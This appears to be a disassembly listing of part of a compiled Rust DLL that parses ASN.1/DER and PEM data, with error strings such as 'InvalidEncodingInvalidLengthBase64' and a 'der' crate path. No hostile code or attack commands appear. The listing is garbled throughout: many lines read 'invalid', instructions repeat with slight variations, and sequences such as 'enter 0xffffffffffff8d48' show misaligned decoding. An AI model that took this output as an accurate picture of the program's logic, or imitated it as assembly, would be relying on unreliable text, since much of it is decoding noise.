invalid
adc byte [r8 - 0x73], cl
add eax, 0x3289c
invalid
add byte [rax - 0x77], cl
sbb byte [r8 - 0x73], cl
sbb byte [rax - 0x73], cl
mov qword [rcx + 0x18], rax
mov dword [rcx + 0x18], eax
sbb byte [rax - 0x73], cl
lea rax, str.CONTEXT_SPECIFIC__
lea eax, [0x180078460]
add eax, 0x4b7b4
jmp 0x18002cd83
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x4b6bc
add al, 0
lea rdx, [0x180078380]
add al, 0
jmp 0x18002ccf7
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x180078341]
mov dh, 4
add byte [rcx - 0x48], al
mov r8d, 4
add al, 0
add byte [rax], al
jmp 0x18002cdd0
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1800783ba]
add al, 0
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x4b6c3
add al, 0
add al, 0
mov r8d, 0xd
add byte [rax], al
jmp 0x18002cdd0
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
lea rdx, [0x180078361]
mov eax, dword [rax + 0x18]
lea rdx, [0x180078361]
mov r8d, 3
mov eax, 3
jmp 0x18002cdd0
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x4b61c
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x4b61c
mov r8d, 0xa
mov eax, 0xa
add byte [rax], al
add cl, ch
xchg edx, eax
jmp 0x18002cdd0
add byte [rax], al
add byte [rdi], cl
movzx ecx, byte [rax + 2]
mov al, byte [rax + 1]
add dword [rbp + rcx*4 + 0x44], ecx
and al, 0x27
movzx ecx, byte [rax + 2]
mov al, byte [rax + 1]
add dword [rbp + rcx*4 + 0x44], ecx
and al, 0x27
add dword [rbp + rcx*4 + 0x44], ecx
and al, 0x27
mov byte [r8], al
mov byte [rax], al
shl ecx, 4
lea rax, str.primitiveconstructed
mov dh, 4
add byte [rax + 1], cl
enter 0xffffffffffff8d48, 0x4c
lea ecx, [rsp + 0x28]
mov dh, 4
add byte [rax + 1], cl
enter 0xffffffffffff8d48, 0x4c
lea ecx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
mov qword [rcx], r8
mov dword [rcx], eax
lea r8, [0x18002cdd7]
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
lea rax, [fcn.18005f53d]
mov qword [rcx + 0x18], rax
lea rax, str.PRIVATE__
add eax, 0x4b71d
add eax, 0x4b71d
sbb eax, 0x4c0004b7
lea eax, [rsp + 0x48]
lea r8, [rsp + 0x48]
mov qword [r8], rax
mov qword [r8 + 8], 3
mov dword [rax + 8], 3
mov dword [rax + 8], 3
add eax, dword [rax]
add byte [rax], al
and qword [r8 + 0x20], 0
and dword [rax + 0x20], 0
mov qword [r8 + 0x10], rcx
mov dword [rax + 0x10], ecx
mov qword [r8 + 0x18], 2
sbb byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
call fcn.1800635e4
nop
and byte [rax - 0x75], cl
push rdx
sub al, ch
xor ebp, dword [rax + 3]
add byte [rax + 0x78c48348], dl
add rsp, 0x78
add rsp, 0x78
invalid
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x4b5fd
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x4b5fd
add byte [rcx - 0x48], al
or dword [rax], eax
add byte [rax], al
invalid
mov r8d, 9
add byte [rax], al
add byte [rax - 0x7d], cl
add rsp, 0x78
jmp rax
invalid
and al, 0x28
mov qword [rax], rcx
lea rcx, [0x180026440]
invalid
invalid
invalid
mov qword [rax + 8], rcx
lea rcx, [0x180081490]
or byte [rax - 0x73], cl
or eax, 0x5469b
lea r8, [rsp + 0x38]
and al, 0x38
mov qword [r8], rcx
mov ecx, 1
mov qword [r8 + 8], rcx
mov dword [rax + 8], ecx
mov dword [rax + 8], ecx
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], rcx
invalid
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
call fcn.1800635e4
add eax, dword [rax]
nop
add rsp, 0x68
invalid
invalid
ret
invalid
lea ecx, [rsp + 0x20]
mov qword [rcx], rax
lea rax, [rsp + 0x28]
mov qword [rax], rcx
lea rcx, [0x18001fbd7]
lea ecx, [0x18001fbd7]
lea ecx, [0x18001fbd7]
mov qword [rax + 8], rcx
lea rcx, str.ObjectIdentifier_
lea r8, [rsp + 0x38]
cmp byte [rcx - 0x77], cl
or byte [rcx - 0x39], cl
or byte [rdx], al
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
and byte [rax], al
mov qword [r8 + 0x10], rax
cmp byte [rcx - 0x77], cl
or byte [rcx - 0x39], cl
or byte [rdx], al
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
add byte [rcx - 0x77], cl
adc byte [rcx - 0x39], cl
mov qword [r8 + 0x18], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
call fcn.1800635e4
mov qword [r8 + 0x18], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
call fcn.1800635e4
nop
add rsp, 0x68
ret
xor ecx, ecx
cmp byte [rax], 0
sete cl
lea r8, [rcx + rcx + 0xd]
lea rcx, str.InvalidEncodingInvalidLengthBase64
lea rax, [0x18007814b]
movabs byte [0xb2aa058d480004b2], al
add al, 0
cmove rax, rcx
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
or byte [rax - 0x75], cl
or byte [rbx + rcx*4 + 0x42], cl
and byte [rbx + rcx*4 + 0x4a], cl
sub byte [rax - 0x77], cl
ret 0x7fe9
jmp fcn.180027750
add dword [rbx + 0x36740038], eax
add rax, 4
lea r9, [rsp + 0x30]
mov qword [r9], rax
mov dword [rcx], eax
lea rax, [0x180078288]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rax, [0x1800816a4]
mov r8d, 4
mov rcx, rdx
mov rdx, rax
call fcn.180027690
nop
add rsp, 0x38
ret
fiadd dword [rax + rax]
mov r8d, 6
mov rcx, rax
call fcn.180027690
call qword [rax + 0x38c48348]
call qword [rax + 0x38c48348]
ret
cmovge eax, dword [0x1848e1b7c]
ror dword [rax - 0x73], 0xd
add rax, 0x48b4800
mov eax, dword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
invalid
invalid
mov eax, dword [rcx + rax*8]
add al, 0xc1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
mov edx, eax
mov edx, eax
ret 0xff49
jmp r9
lea rdx, [rcx + 8]
lea edx, [rcx + 8]
push rcx
or byte [rbp + rcx*4 + 0x44], cl
and al, 0x60
lea r8, [rsp + 0x60]
mov qword [r8], rdx
lea rdx, [0x180078248]
mov dl, 4
invalid
mov dl, 4
add al, 0
add byte [rax - 0x77], cl
push rsp
and al, 0x50
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x48], r8
lea rdx, [0x18007c4fc]
xor al, 0xf5
add al, 0
xor al, 0xf5
cmc
add al, 0
mov qword [rsp + 0x38], rdx
lea rdx, [0x180078228]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x30], edx
push rsp
and al, 0x30
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x40], 9
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
or eax, dword [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
or eax, dword [rax]
add byte [rax], al
invalid
add byte [rax - 0x73], cl
adc eax, 0x4f4f1
hlt
add al, 0
invalid
lea rdx, str.Utf8Errorvalid_up_toerror_len
hlt
add byte [rbp + rcx*4 + 0xd], cl
hlt
lea r9, [0x18007c4f1]
mov r8d, 9
mov eax, 9
mov eax, 9
mov rcx, rax
call fcn.1800275a0
nop
add rsp, 0x68
invalid
invalid
ret
shr eax, 0x94
movsd dword [rdi], dword [rsi]
invalid
invalid
in al, dx
cmp byte [rax - 0x75], cl
add dword [rax + 0x35740038], eax
inc rax
inc eax
inc eax
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
and al, 0x30
mov qword [r9], rax
lea rax, [0x180078268]
add byte [rax - 0x77], cl
and al, 0x20
add byte [rax - 0x77], cl
mov dword [rsp + 0x20], eax
and al, 0x20
and byte [rax - 0x73], cl
add eax, 0x54668
lea rax, [0x1800816a4]
mov r8d, 4
mov eax, 4
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
mov rcx, rdx
mov rdx, rax
call fcn.180027690
ror dword [rax - 0x77], 1
ret 0x43e8
nop
add rsp, 0x38
add esp, 0x38
add esp, 0x38
ret
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x5463a
cmp al, byte [rsi + 5]
invalid
lea rdx, [0x1800816a0]
cmp al, byte [rsi + 5]
add byte [rcx - 0x48], al
add eax, 0x4b84100
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
mov r8d, 4
add al, 0
add byte [rax], al
add rsp, 0x38
add esp, 0x38
cmp byte [rax - 1], cl
jmp rax
loopne case.default.0x18002d08b
sub rsp, 0x48
sub esp, 0x48
mov rax, qword [rcx]
mov eax, dword [rcx]
movzx ecx, byte [rax]
lea r8, [0x180082744]
rcl byte [rsi + 5], 0
add eax, 0xc634900
mov byte [rcx + rax - 0x3f], cl
add rcx, r8
add byte [rcx + 0x63], cl
or al, 0x88
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
inc rax
inc eax
lea r9, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov qword [r9], rax
lea rax, [0x180078160]
add al, 0
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rax - 0x73], cl
add eax, 0x4b0ad
mov al, 4
invalid
lea rax, [0x180078158]
mov al, 4
add byte [rcx - 0x48], al
mov r8d, 6
mov rcx, rdx
ror dword [rax - 0x77], 1
ret 0xd4e8
invalid
movsd dword [rdi], dword [rsi]
invalid
invalid
invalid
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
ret 0xd4e8
invalid
invalid
jmp 0x18002d121
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1800781b1]
lea edx, [0x1800781b1]
sbb byte [rax - 0x73], cl
adc eax, 0x4b0e0
mov al, 4
invalid
lea edx, [0x1800781b1]
mov al, 4
add byte [rcx - 0x48], al
mov r8d, 5
jmp 0x18002d1df
add eax, dword [rcx]
add byte [rax], al
add eax, 0xe9000000
add eax, dword [rcx]
add byte [rax], al
add rax, 8
ror byte [rax], 0x48
lea ecx, [rsp + 0x40]
and al, 0x40
lea rcx, [rsp + 0x40]
and al, 0x40
mov qword [rcx], rax
lea rax, [0x180078208]
add byte [rax - 0x77], cl
and al, 0x30
invalid
add byte [rax - 0x77], cl
and al, 0x30
invalid
xor byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 8
or byte [rax], al
add byte [rax], al
lea rax, [0x1800781ef]
lea r9, [0x18007abb9]
add al, 0
add al, 0
mov r8d, 0x13
mov rcx, rdx
mov rdx, rax
call fcn.1800274f0
nop
add rsp, 0x48
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x180078191]
lea edx, [0x180078191]
lea edx, [0x180078191]
jmp case.0x18002caa7.29
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1800781a1]
mov r8d, 0x10
jmp 0x18002d1df
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1800781be]
mov al, 4
add byte [rcx - 0x48], al
sbb byte [rax], al
add byte [rax], al
mov al, 4
add byte [rcx - 0x48], al
sbb byte [rax], al
add byte [rax], al
jmp 0x18002d1df
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.CharacterEncodingEncapsulatedTextHeaderDisallowedLabelPreamblePreEncapsulationBoundaryPostEncapsulationBoundaryUnexpectedTypeLabel
mov r8d, 0x11
jmp 0x18002d1df
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.Length
mov r8d, 6
jmp 0x18002d1df
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1800781b6]
mov r8d, 8
jmp 0x18002d1df
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1800781d6]
mov r8d, 0x19
add rsp, 0x48
jmp rax
pop rdx
test dl, dl
jne 0x18002d366
mov eax, dword [rbx + 0x10]
mov byte [rbx + 0x1c], 1
sbb al, 1
sbb al, 1
mov dword [rsi], 1
mov dword [rsi + 4], ecx
mov byte [rsi + 8], 3
mov dword [rsi + 0xc], edi
mov dword [rsi + 0x10], eax
jmp case.0x180066c72.211
and al, 0x48
movups xmm1, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0x20], xmm1
and al, 0x20
and al, 0x20
movups xmm1, xmmword [rsp + 0x68]
and al, 0x68
movaps xmmword [rsp + 0x30], xmm1
sub dword [rsp + 0x30], ecx
mov dword [rsi], eax
mov dword [rsi + 4], ecx
invalid
movups xmmword [rsi + 8], xmm0
movaps xmm0, xmmword [rsp + 0x20]
sub byte [rsp + 0x20], al
sub byte [rsp + 0x20], al
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi + 0x18], xmm0
movups xmmword [rsi + 0x28], xmm1
jmp case.0x180066c72.211
or al, 0x83
add byte es:[rcx + 0x46c6047e], cl
jle 0x18002d370
invalid
invalid
and dword [rsi], 0
mov dword [rsi + 4], edi
jle 0x18002d370
jle 0x18002d370
mov byte [rsi + 8], 0xc
or byte [rbx + rbp*8], cl
invalid
jmp case.0x180066c72.211
mov qword [rbx + 0x18], rdi
mov dword [rbx + 0x18], edi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rax
mov dword [rsi], 2
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
ret
sbb al, 0
je case.0x180004bed.401
adc dword [rbx + 0x1c71842], ecx
add dword [rax], eax
add byte [rax], al
invalid
mov eax, dword [rdx + 0x18]
mov dword [rcx], 1
add byte [rax], al
invalid
sbb bh, al
add dword [rcx], eax
add byte [rax], al
add byte [rcx + 0x41c60441], cl
mov dword [rcx + 4], eax
mov byte [rcx + 8], 1
or byte [rcx], al
add ebx, eax
ret
mov rax, qword [rdx + 8]
mov eax, dword [rdx + 8]
mov r8d, dword [rdx + 0x18]
sub rax, r8
sub eax, eax
sbb byte [rcx + rbp - 0x40], cl
sub eax, eax
jae 0x18002d3ec
mov eax, dword [rdx + 0x10]
xor edx, edx
mov r8d, eax
mov eax, eax
inc r8d
sete dl
xchg esp, eax
ret 0xff3d
invalid
invalid
cmp eax, 0xfffffff
lea edx, [rdx + rdx*8 + 3]
jge 0x1c106a622
rol byte [rbx], cl
mov r9d, 0xc
mov ecx, 0xc
cmovb r9d, edx
cmovb ecx, edx
retf 0x4189
mov dword [rcx + 4], eax
mov byte [rcx + 8], r9b
mov dword [rcx + 0xc], r8d
mov dword [rcx + 0xc], eax
or byte [rcx + rcx*4 + 0x41], al
or al, 0x89
adc byte [r8 + 1], dil
mov dword [rcx + 0xc], eax
mov dword [rcx + 0x10], eax
mov eax, 1
add dword [rax], eax
add byte [rax], al
jmp case.0x18001e8b0.409
add r8, qword [rdx]
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
mov eax, 2
add byte [rax], al
add byte [rax], al
mov dword [rcx], eax
ret
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x88
in al, dx
mov byte [rax], al
add byte [rax], al
invalid
in al, dx
mov byte [rax], al
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 0x31], cl
mov rdi, r9
mov edi, ecx
mov rsi, rcx
cmp r9, 0xfffffff
cmp ecx, 0xfffffff
invalid
cmp ecx, 0xfffffff
dec dword [rdi]
ja 0x18002d466
mov rbx, r8
lea r14, [rsp + 0x50]
lea esi, [rsp + 0x50]
ret
lea esi, [rsp + 0x50]
mov rcx, r14
int1
mov r8d, edi
call fcn.18002d2a1
mov eax, dword [r14]
invalid
mov eax, dword [rsi]
cmp eax, 2
jne 0x18002d475
mov r8, qword [rsp + 0x58]
mov r8, qword [rsp + 0x58]
mov eax, dword [rsp + 0x58]
mov r9, qword [rsp + 0x60]
lea rax, str.registery_srcindex.crates.io_6f17d22bba15001fder_0.7.9_src_reader.rs
lea eax, [0x1800782f0]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rdi
call fcn.18001fa56
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rdi
mov dword [rsi], 2
jmp 0x18002d4ad
and dword [rsi], 0
mov dword [rsi + 4], edi
mov byte [rsi + 8], 0xc
mov dword [rsi + 0xc], edi
or al, 0xeb
invalid
or al, 0xeb
cmp byte [rbx + 0xf54244c], cl
adc byte [rsp + 0x58], al
and al, 0x58
mov ecx, dword [rsp + 0x54]
movups xmm0, xmmword [rsp + 0x58]
and al, 0x58
and al, 0x58
movups xmm1, xmmword [rsp + 0x68]
movaps xmmword [rsp + 0x30], xmm1
sub dword [rsp + 0x30], ecx
push 0x244c290f
xor byte [rdi], cl
adc byte [rsp + 0x78], cl
and al, 0x78
sub dword [rsp + 0x30], ecx
movups xmm1, xmmword [rsp + 0x78]
and al, 0x78
movaps xmmword [rsp + 0x40], xmm1
mov dword [rsi], eax
mov dword [rsi + 4], ecx
movups xmmword [rsi + 8], xmm0
add al, 0xf
adc dword [rsi + 8], eax
movaps xmm0, xmmword [rsp + 0x30]
and al, 0x30
xor byte [rdi], cl
sub byte [rsp + 0x40], cl
movaps xmm1, xmmword [rsp + 0x40]
movups xmmword [rsi + 0x18], xmm0
adc dword [rsi + 0x18], eax
sbb byte [rdi], cl
adc dword [rsi + 0x28], ecx
movups xmmword [rsi + 0x28], xmm1
add rsp, 0x88
pop rbx
pop rdi
invalid
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
pop r14
pop rsi
pop rsi
ret
lea r9, [rcx + rdx]
inc rdx
dec rcx
leave
cmp rdx, 1
je 0x18002d4e6
lea rax, [rcx + 1]
lea r8, [rdx - 1]
cmp rdx, 2
cmp edx, 2
dec dword [rax - 0x7d]
cli
add dh, byte [rsp + rdx - 0x80]
jns 0x18002d4dc
cmp edx, 2
je 0x18002d4ec
cmp byte [rcx + 1], 0
add byte [rax - 0x77], cl
mov rcx, rax
mov rdx, r8
je 0x18002d4c4
ror dword [rcx + rcx*4 - 0x3e], 0x74
loopne 0x18002d4d0
invalid
jmp 0x18002d4ec
invalid
xor r8d, r8d
mov rax, r9
mov eax, ecx
mov eax, ecx
mov rdx, r8
ret
ret 0x44c3
add edx, r8d
jae case.0x1800085b2.344
invalid
or eax, dword [rbx + 0x51890021]
and dword [rcx], 0
and dword [rax], eax
mov dword [rcx + 4], edx
mov byte [rcx + 8], 0xc
or byte [r11 + rax*8], cl
add al, 0xc6
or byte [r11 + rax*8], cl
cmp edx, 0x10000000
add byte [rax], al
add byte [rax], dl
jae case.0x1800085b2.326
mov dword [rcx + 4], edx
mov eax, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
jmp case.0x1800085b2.339
mov byte [rcx + 8], 0xc
xor eax, eax
or byte [rcx + rsi], cl
ror byte [rcx + 0x4856c301], 0x83
mov dword [rcx], eax
ret
push rsi
invalid
invalid
mov dword [rcx], eax
ret
in al, dx
and byte [rax - 0x77], cl
invalid
mov ecx, edx
mov rdx, r8
call case.0x1800084e6.345
invalid
invalid
invalid
dec dword [rax - 0x7f]
cli
invalid
invalid
dec dword [rdi]
ja 0x18002d550
invalid
mov ecx, 2
mov r8d, 0x18
mov r9d, 0x10
mov r10d, 8
jmp 0x18002d57d
mov rax, rdx
shl rax, 0x20
or rax, 0xc
mov byte [rsi + 8], 6
invalid
mov word [rsi + 9], 0x101
mov byte [rsi + 0xb], 1
or eax, dword [rcx]
invalid
or eax, dword [rcx]
xor ecx, ecx
mov r8d, 0x20
add byte [rcx - 0x47], al
sbb byte [rax], al
add byte [rax], al
add byte [rcx - 0x47], al
sbb byte [rax], al
add byte [rax], al
mov r10d, 0x10
adc byte [rax], al
add byte [rax], al
mov qword [rsi + r10], rax
mov qword [rsi + r9], rdx
mov dword [rsi + rcx], edx
mov dword [rsi + rcx], edx
mov dword [rsi + r8], edx
mov dword [rsi + rax], edx
mov dword [rsi], ecx
add rsp, 0x20
pop rsi
ret
in al, dx
and byte [rax - 0x77], cl
invalid
mov edx, eax
call case.0x1800084e6.345
cmp rdx, 0xfffffff
cli
invalid
invalid
dec dword [rdi]
emms
invalid
invalid
cli
invalid
emms
cmovs eax, dword [rbp + 0x441d74d2]
sal byte [rbp + rbx + 0x44], cl
test rdx, rdx
je 0x18002d5cf
sal byte [rbp + rbx + 0x44], cl
movzx r8d, byte [rax]
movzx eax, byte [rax]
shr r8d, 7
jmp 0x18002d5d2
and dword [rsi], 0
mov dword [rsi + 4], edx
mov byte [rsi + 8], 0xc
or byte [rcx + r9*4], r9b
push rsi
or al, 0x48
add esp, 0x20
or byte [rcx + r9*4], r9b
or al, 0x89
push rsi
or al, 0x48
add esp, 0x20
and byte [rsi - 0x3d], bl
pop rsi
ret
xor r8d, r8d
xor eax, eax
mov rcx, rsi
mov ecx, esi
add rsp, 0x20
add esp, 0x20
invalid
pop rsi
jmp case.0x1800084e6.348
invalid
dec dword [rax - 0x77]
ror byte [rax - 0x3f], 1
shr rax, 0x20
jne case.0x18000b818.278
invalid
cli
add byte [rax], al
shr rax, 0x20
shr eax, 0x20
and byte [rbp + 0x12], dh
jne case.0x18000b818.278
adc al, byte [rcx + 0xfa]
adc byte [rbx + 0x15], dh
jae 0x18002d605
cmp edx, 0x10000000
add byte [rax], dl
jae 0x18002d605
mov dword [rcx + 4], edx
mov eax, 2
add al, byte [rax]
add byte [rax], al
invalid
add al, 0xb8
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add bl, ch
jmp case.0x18001a336.250
adc dword [rbx + 0x41c60021], eax
or byte [rcx + rcx*4], cl
or al, 0x89
and dword [rcx], 0
mov byte [rcx + 8], 0xc
or byte [r9 + rcx*4], cl
push rcx
invalid
or byte [r9 + rcx*4], cl
or al, 0x89
push rcx
or al, 0xc3
ret
ret
mov byte [rcx + 8], 0xc
or byte [r9 + rsi], cl
or byte [rcx + rsi], cl
xor eax, eax
ror byte [rcx + 0x5741c301], 0x41
push rsi
mov dword [rcx], eax
ret
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x120
sub esp, 0x120
sub esp, 0x120
and byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x77], cl
xlatb
mov rdi, rdx
mov rsi, rcx
lea rbx, [rsp + 0x38]
lea ebx, [rsp + 0x38]
lea ebx, [rsp + 0x38]
and al, 0x38
mov rcx, rbx
mov ecx, ebx
fld1
call fcn.18002d227
cmc
sti
invalid
cmp dword [rbx], 2
jne 0x18002d647
invalid
adc byte [rdx + 0x483c2454], cl
mov dl, byte [rsp + 0x3c]
push rsp
and al, 0x3c
lea rcx, [rsp + 0x70]
lea ecx, [rsp + 0x70]
and al, 0x70
call fcn.18002d958
jmp 0x18002d678
invalid
add eax, dword [rax]
add bl, ch
xor dword [rax - 0x75], ecx
and al, 0x68
and al, 0x68
mov rax, qword [rsp + 0x68]
mov eax, dword [rsp + 0x68]
and al, 0x68
mov qword [rsp + 0xa0], rax
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x38]
movabs al, byte [0x382444100f000000]
add byte [rax], al
movups xmm0, xmmword [rsp + 0x38]
and al, 0x38
cmp byte [rdi], cl
movups xmm1, xmmword [rsp + 0x48]
adc byte [rsp + 0x48], cl
and al, 0x48
movups xmm2, xmmword [rsp + 0x58]
push rsp
and al, 0x58
pop rax
pop rax
movaps xmmword [rsp + 0x90], xmm2
sub dword [rsp + 0x90], edx
and al, 0x90
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rsp + 0x80], xmm1
sub dword [rsp + 0x80], ecx
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x70], eax
and al, 0x70
movaps xmmword [rsp + 0x70], xmm0
and al, 0x70
mov eax, dword [rsp + 0x70]
movzx ecx, word [rsp + 0x74]
mov word [rsp + 0x2c], cx
mov dword [rsp + 0x2c], ecx
mov dword [rsp + 0x2c], ecx
mov cl, byte [rsp + 0x76]
mov byte [rsp + 0x2e], cl
cmp eax, 2
jne 0x18002d6e3
lea rbx, [rsp + 0x38]
mov rcx, rbx
mov rdx, rdi
cmp byte [rax - 0x77], cl
invalid
call fcn.18002d227
mov ecx, dword [rbx]
mov r15b, byte [rbx + 4]
sti
invalid
jnp 0x18002d6ad
cmp ecx, 2
jne 0x18002d763
test dword [rcx + 0x45000000], esi
movzx esp, bh
add byte [rax], al
movzx r12d, r15b
test r12b, r12b
js 0x18002d7af
lock add byte [rax], al
add byte [rcx], dh
rol byte [rcx + 9], 0xc4
xor eax, eax
or r12d, eax
or esp, eax
mov dword [rsi + 4], r12d
movzx eax, word [rsp + 0x2c]
and al, 0x2c
mov word [rsi + 8], ax
mov al, byte [rsp + 0x2e]
mov byte [rsi + 0xa], al
invalid
invalid
mov byte cs:[rsi + 0xa], al
or r8b, dil
invalid
mov dword [rsi], 2
jmp case.0x18002ef1c.117
invalid
add dword [rax], eax
invalid
add cl, ch
jmp 0x10a02d6e5
mov cl, byte [rsp + 0xa7]
mov byte [rsp + 0xe0], cl
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
add byte [rax + 0xe0248c], cl
add byte [rax], al
movups xmm0, xmmword [rsp + 0x77]
movups xmm1, xmmword [rsp + 0x87]
xchg dword [rax], eax
add byte [rax], al
xchg dword [rax], eax
add byte [rax], al
movups xmm2, xmmword [rsp + 0x97]
xchg esp, eax
and al, 0x97
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rsp + 0xd0], xmm2
movaps xmmword [rsp + 0xd0], xmm2
rol byte [rax], 1
add byte [rax], al
movaps xmmword [rsp + 0xc0], xmm1
mov word [rax + rax*8], fs
add byte [rax], al
rol byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0xb0], eax
test byte [rax + rsi*4], ah
add byte [rax], al
invalid
movaps xmmword [rsp + 0xb0], xmm0
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rcx + 0x44b70f06], cl
mov dword [rsi], eax
movzx eax, word [rsp + 0x2c]
invalid
add byte [rax], al
mov dword [rsi], eax
movzx eax, word [rsp + 0x2c]
invalid
and al, 0x2c
sub al, 0x66
mov dword [rsi + 4], eax
mov word [rsi + 4], ax
add al, 0x8a
mov al, byte [rsp + 0x2e]
and al, 0x2e
mov byte [rsi + 6], al
invalid
movaps xmm0, xmmword [rsp + 0xb0]
mov al, 0
add byte [rax], al
movaps xmm1, xmmword [rsp + 0xc0]
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xd0], dl
movaps xmm2, xmmword [rsp + 0xd0]
add byte [rax], al
movups xmmword [rsi + 7], xmm0
movups xmmword [rsi + 0x17], xmm1
movups xmmword [rsi + 0x27], xmm2
mov al, byte [rsp + 0xe0]
mov byte [rsi + 0x37], al
jmp case.0x18002ef1c.117
